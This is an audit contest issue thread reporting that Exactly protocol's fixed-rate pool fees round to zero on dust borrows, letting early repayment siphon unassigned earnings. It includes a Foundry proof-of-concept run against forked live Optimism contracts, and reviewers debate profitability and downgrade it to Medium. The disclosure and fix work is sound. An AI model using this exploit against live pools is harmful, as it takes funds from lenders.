-
Notifications
You must be signed in to change notification settings - Fork 5
santipu_ - Theft of unassigned earnings from a fixed pool #68
Comments
hey @santipu03 , if I correctly understood the POC, the profit for the attacker is 0.00014 WBTC, right? Considering a $67_000 WBTC price, that would be ~$10. Note that the attacker should've done 20_000 fixed borrow operations. |
Escalate I think the attack is not viable and it should be invalid, the attacker should make thousands of transactions which seems not profitable paying gas fees for unassigned earnings of the pool, also attacker can't take all unassigned earnings since some part of it goes to earning accumulator |
You've created a valid escalation! To remove the escalation from consideration: Delete your comment. You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final. |
@santichez In the PoC, the profit for the attacker is 0.001 WBTC ( The PoC is limited by the current WBTC pool state on the live contracts on Optimism, but it can become even more profitable when the interest rates are higher. When fixed rates are higher, the unassigned earnings on each pool will be higher, so the attacker will be able to steal more funds with the same iterations. |
Agree that this can not be a high as it is not profitable and it has a very significant number of pre conditions. It is borderline low/medium, but I agree the protocol should always protect itself. It spends approximately 474883 gas for each borrow (see POC below), which when doing Now, the attacker in the POC goes from So we have settled that this is not profitable. However, it is even worse for the attacker because:
Given all these conditions and the fact that it is not profitable at current prices, this can never be awared a high severity. function test_steal_unassigned_earnings() public {
vm.rollFork(119348257); // Abr 28
uint256 maturity = 1722470400; // Aug 01
uint256 liquidity = 100_000e6;
uint256 borrowAmount = 1e8;
// Simulate some fixed rate borrows on the WBTC market
deal(address(usdc), address(this), liquidity);
usdc.approve(address(marketUSDC), liquidity);
marketUSDC.deposit(liquidity, address(this));
marketUSDC.auditor().enterMarket(marketUSDC);
marketWBTC.borrowAtMaturity(
maturity,
borrowAmount,
type(uint256).max,
address(this),
address(this)
);
// Attacker deposits liquidity and borrows from the same pool
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
deal(address(wbtc), attacker, 1e8);
wbtc.approve(address(marketWBTC), type(uint256).max);
marketWBTC.deposit(1e8, attacker);
// Attacker borrows a tiny amount to round the fee to 0
// Doing it lots of times you end up with a big loan with a fee of 0
//for (uint i = 0; i < 20_000; i++) {
uint256 initialGas = gasleft(); //
marketWBTC.borrowAtMaturity(
maturity,
0.038e8,
type(uint256).max,
attacker,
attacker
);
uint256 gasSpent = initialGas - gasleft();
assertEq(474883, gasSpent);
//}
(uint256 principal, uint256 fee) = marketWBTC.fixedBorrowPositions(
maturity,
attacker
);
assertEq(principal, 0.038e8); // Loan of 0.038 WBTC (~2400 USD)
assertEq(fee, 0);
// Repay all the loan
uint256 actualRepayAssets = marketWBTC.repayAtMaturity(
maturity,
type(uint256).max,
type(uint256).max,
attacker
);
assertEq(actualRepayAssets, 0.03786283e8); // Repay 0.037 WBTC
assertGt(principal, actualRepayAssets); // The attacker has repaid the loan of 0.038 WBTC with 0.037 WBTC
} |
I agree that I didn't take into consideration that the attack cannot be executed in just one block, which reduces the effectiveness of the attack. Still, this attack has two valid impacts:
If @etherSky111 or @santiellena don't want to add more information here, I agree that this issue could be considered medium severity. |
This issue is Medium severity. As @0x73696d616f wrote in a comment, the attack is not profitable enough to be high, and there are even conditions that reduce the severity. But it is still profitable and allows a malicious user to take a fixed loan with 0 interest. Planning to accept the escalation and make this issue a Medium. |
Result: |
Escalations have been resolved successfully! Escalation status:
|
The protocol team fixed this issue in the following PRs/commits: |
The Lead Senior Watson signed off on the fix. |
santipu_
high
Theft of unassigned earnings from a fixed pool
Summary
An attacker can borrow a dust amount from a fixed pool to round down the fee to zero, repeating this thousands of times the attacker will get a big fixed loan with 0 fees. If that loan is repaid early, the amount repaid will be lower than the borrowed amount, effectively stealing funds from the unassigned earnings of that fixed pool.
Vulnerability Detail
When a user takes a loan from a fixed pool, the resulting fee is rounded down. An attacker can use this feature to borrow a dust amount from a fixed pool thousands of times to end up with a big fixed loan with 0 fees.
The fee is calculated here:
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L320
When the borrowed assets are really low, the resulting fee will be rounded down to zero. This by itself is already an issue, but an attacker can use this loan to steal funds from the unassigned earnings.
When a fixed loan is repaid early, it can get a discount that is calculated as if the repaid amount was deposited into that fixed pool. The discount depends on the unassigned earnings of the pool and the proportion that the repaid amount represents in the total fixed debt backed by the floating pool.
When the attacker repays this loan with no interest, he's going to get a discount based on the current unassigned earnings of that pool. This discount will make the attacker repay less funds than he originally borrowed, and those funds will be subtracted from the unassigned earnings of that pool.
Impact
An attacker can steal the unassigned earnings from a fixed pool.
PoC
The following PoC executes this attack on the live contracts of Exactly in the Optimism chain. The test can be pasted into a new file within a forge environment. Also, the
.env
file must include the variableOPTIMISM_RPC_URL
for the test to run. The test can be executed with the following command:Code Snippet
https://github.com/sherlock-audit/2024-04-interest-rate-model/blob/main/protocol/contracts/Market.sol#L320
Tool used
Manual Review
Recommendation
To mitigate this issue is recommended to not allow borrows with 0 fees from fixed pools. Here is a possible implementation of the fix:
fee = assets.mulWadDown(fixedRate.mulDivDown(maturity - block.timestamp, 365 days)); + require(fee > 0);
The text was updated successfully, but these errors were encountered: